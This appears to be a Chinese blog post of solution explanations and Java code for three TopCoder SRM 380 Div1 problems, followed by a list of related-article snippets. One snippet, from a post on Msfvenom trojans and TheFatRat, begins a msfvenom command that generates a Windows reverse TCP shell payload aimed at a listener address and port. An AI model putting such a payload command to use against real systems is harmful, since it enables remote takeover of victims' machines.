problem1 link

分类讨论。高度没有太大关系。主要看长度。

problem2 link

二分答案$mid$。计算每种$card$不足的部分,加起来,小于等于$min(jokers,mid)$就是合法的。

problem3 link

为了方便说明,以下所说的$x,y,a$分别是菱形宽度一半的平方、高度一半的平方、边长的平方。所以有$x+y=a$

对于宽的来说,比如第一个,$y_{1}\leq x_{1}$,所以$0\leq y_{1}\leq \frac{a_{1}}{2}$

对于高的来说,比如第二个,$y_{2}\geq x_{2}$,所以$ \frac{a_{2}}{2}\leq y_{1}\leq a_{2}$,宽和内部的高的关系为$y_{1}=y_{2}$,所以有$\frac{a_{2}}{2} \leq y_{1} \leq a_{2}$

同理对于第三个来说,它是宽的,所以$\frac{a_{3}}{2}\leq x_{3}\leq a_{3}$,高和内部的宽的关系为$x_{2}=x_{3}$,所以$\frac{a_{3}}{2}\leq x_{3}=x_{2}=a_{2}-y_{2}=a_{2}-y_{1}\leq a_{3}$,所以$a_{2}-a_{3} \leq y_{1} \leq a_{2}-\frac{a_{3}}{2}$

按照这个推导下去,会得到$y_{1}$的若干个区间,所有区间求交即可得到$y_{1}$最后的区间。如果区间合法,最小值就是答案。

code for problem1

import java.util.*;
import java.math.*;
import static java.lang.Math.*; public class LameKnight { public int maxCells(int n,int m) {
if(n==1) {
return 1;
}
else if(n==2){
if(m>=7) {
return 4;
}
else if(m>=5) {
return 3;
}
else if(m>=3) {
return 2;
}
else {
return 1;
}
}
else {
if(m>=7) {
return 3+(m-5);
}
else {
int result=dfs(1,1,n,m);
if(result>4) {
result=4;
}
return result;
}
}
} int dfs(int x,int y,int n,int m) {
if(x<1||x>n||y<1||y>m) {
return 0;
}
int result=1;
result=Math.max(result,1+dfs(x+2,y+1,n,m));
result=Math.max(result,1+dfs(x+1,y+2,n,m));
result=Math.max(result,1+dfs(x-1,y+2,n,m));
result=Math.max(result,1+dfs(x-2,y+1,n,m));
return result;
}
}

  

code for problem2

import java.util.*;
import java.math.*;
import static java.lang.Math.*; public class CompilingDecksWithJokers { public int maxCompleteDecks(int[] cards, int jokers) {
int low=0,high=1000000000;
int result=low;
while(low<=high) {
int mid=(low+high)>>1;
if(check(mid,cards,jokers)) {
result=Math.max(result,mid);
low=mid+1;
}
else {
high=mid-1;
}
}
return result;
} boolean check(int mid,int[] cards,int jokers) {
long result=0;
for(int i=0;i<cards.length&&result<=jokers&&result<=mid;++i) {
if(cards[i]<mid) {
result+=mid-cards[i];
}
}
return result<=jokers&&result<=mid;
}
}

  

code for problem3

import java.util.*;
import java.math.*;
import static java.lang.Math.*; public class NestedDiamonds { public double minHeight(int[] sides) {
Arrays.sort(sides);
final int n=sides.length;
for(int i=1;i<n;++i) {
if(sides[i]==sides[i-1]) {
return -1;
}
}
long[] a=new long[n];
for(int i=0;i<n;++i) {
a[i]=(long)sides[n-1-i]*sides[n-1-i];
}
long low=0,high=a[0];
for(int i=1;i<n;++i) {
long newlow=0,newhigh=0;
int sign=1;
for(int j=1;j<i;++j) {
newlow+=sign*2*a[j];
newhigh+=sign*2*a[j];
sign*=-1;
}
if((i&1)==1) {
newlow+=a[i];
newhigh+=2*a[i];
}
else {
newlow-=2*a[i];
newhigh-=a[i];
}
low=Math.max(low,newlow);
high=Math.min(high,newhigh);
}
if(low>high) {
return -1;
}
return Math.sqrt(0.5*low)*2;
}
}

  

topcoder srm 380 div1的更多相关文章

  1. Topcoder SRM 643 Div1 250<peter_pan>

    Topcoder SRM 643 Div1 250 Problem 给一个整数N,再给一个vector<long long>v; N可以表示成若干个素数的乘积,N=p0*p1*p2*... ...

  2. Topcoder Srm 726 Div1 Hard

    Topcoder Srm 726 Div1 Hard 解题思路: 问题可以看做一个二分图,左边一个点向右边一段区间连边,匹配了左边一个点就能获得对应的权值,最大化所得到的权值的和. 然后可以证明一个结 ...

  3. topcoder srm 714 div1

    problem1 link 倒着想.每次添加一个右括号再添加一个左括号,直到还原.那么每次的右括号的选择范围为当前左括号后面的右括号减去后面已经使用的右括号. problem2 link 令$h(x) ...

  4. topcoder srm 738 div1 FindThePerfectTriangle(枚举)

    Problem Statement      You are given the ints perimeter and area. Your task is to find a triangle wi ...

  5. Topcoder SRM 602 div1题解

    打卡- Easy(250pts): 题目大意:rating2200及以上和2200以下的颜色是不一样的(我就是属于那个颜色比较菜的),有个人初始rating为X,然后每一场比赛他的rating如果增加 ...

  6. Topcoder SRM 627 div1 HappyLettersDiv1 : 字符串

    Problem Statement      The Happy Letter game is played as follows: At the beginning, several players ...

  7. Topcoder SRM 584 DIV1 600

    思路太繁琐了 ,实在不想解释了 代码: #include<iostream> #include<cstdio> #include<string> #include& ...

  8. TopCoder SRM 605 DIV1

    604的题解还没有写出来呢.先上605的. 代码去practice房间找. 说思路. A: 贪心,对于每个类型的正值求和,如果没有正值就取最大值,按着求出的值排序,枚举选多少个类型. B: 很明显是d ...

  9. topcoder srm 575 div1

    problem1 link 如果$k$是先手必胜那么$f(k)=1$否则$f(k)=0$ 通过对前面小的数字的计算可以发现:(1)$f(2k+1)=0$,(2)$f(2^{2k+1})=0$,(3)其 ...

随机推荐

  1. HDU 2604 Queuing(递推+矩阵)

    Queuing [题目链接]Queuing [题目类型]递推+矩阵 &题解: 这题想是早就想出来了,就坑在初始化那块,只把要用的初始化了没有把其他的赋值为0,调了3,4个小时 = = 本题是可 ...

  2. SQLGetEnvAttr

    SQLGetEnvAttr 函数定义: 用于得到当前环境的各项设置属性 SQLRETURN SQLGetEnvAttr( SQLHENV     EnvironmentHandle, SQLINTEG ...

  3. Msfvenom木马使用及TheFatRat工具

    msfvenom –platform windows -p windows/x64/shell/reverse_tcp LHOST=192.168.168.111 LPORT=3333 EXITFUN ...

  4. css选择问题

    <div class="col-lg-4 col-md-6 mb-4"> <div class="card"> <a href=& ...

  5. 使用IntelljIDEA生成接口的类继承图及装饰器模式

    类图生成方法 以一个装饰器模式实现数学运算的例子为例. 安装 Intellj Ultimate , lience server: http://xdouble.cn:8888/ 在类上右键点击 cla ...

  6. doc&Alt+/ 快捷键设置&ThreadLocal Fameset与Frame区别

    Alt+/不管用原因:新版本中MyEclipse的Alt+/是别的快捷键,Ctrl+Space是提示标签快捷键,而Ctrl+Space与输入法切换冲突不能用.MyEclipse设置Alt+/快捷键 1 ...

  7. OAuth2.0 知多少(好)

    https://www.cnblogs.com/sheng-jie/p/6564520.html 简书集成的社交登录,大大简化了我们的注册登录流程,真是一号在手上网无忧啊.这看似简单的集成,但背后的技 ...

  8. qt 提高图片加载速度

    一,将图片在pc上解析,然后将解析文件放到qrc文件中,读取qrc文件. 1,将图片解析后的二进制文件保存,源码如下, 下载地址:https://files.cnblogs.com/files/sen ...

  9. Shell 比较两个数的大小

    格式很重要多一个空格少一个空格都可能出错 li@ubuntu:~/test$ cat compare.sh #!/bin/bash read x read y if [ $x -lt $y ] the ...

  10. NFS客户端阻塞睡眠问题与配置调研

    Linux NFS客户端需要很小心地配置,否则在NFS服务器崩溃时,访问NFS的程序会被挂起,用ps查看,进程状态(STAT)处于D,意为(由于IO阻塞而进入)不可中断睡眠(如果是D+,+号表示程序运 ...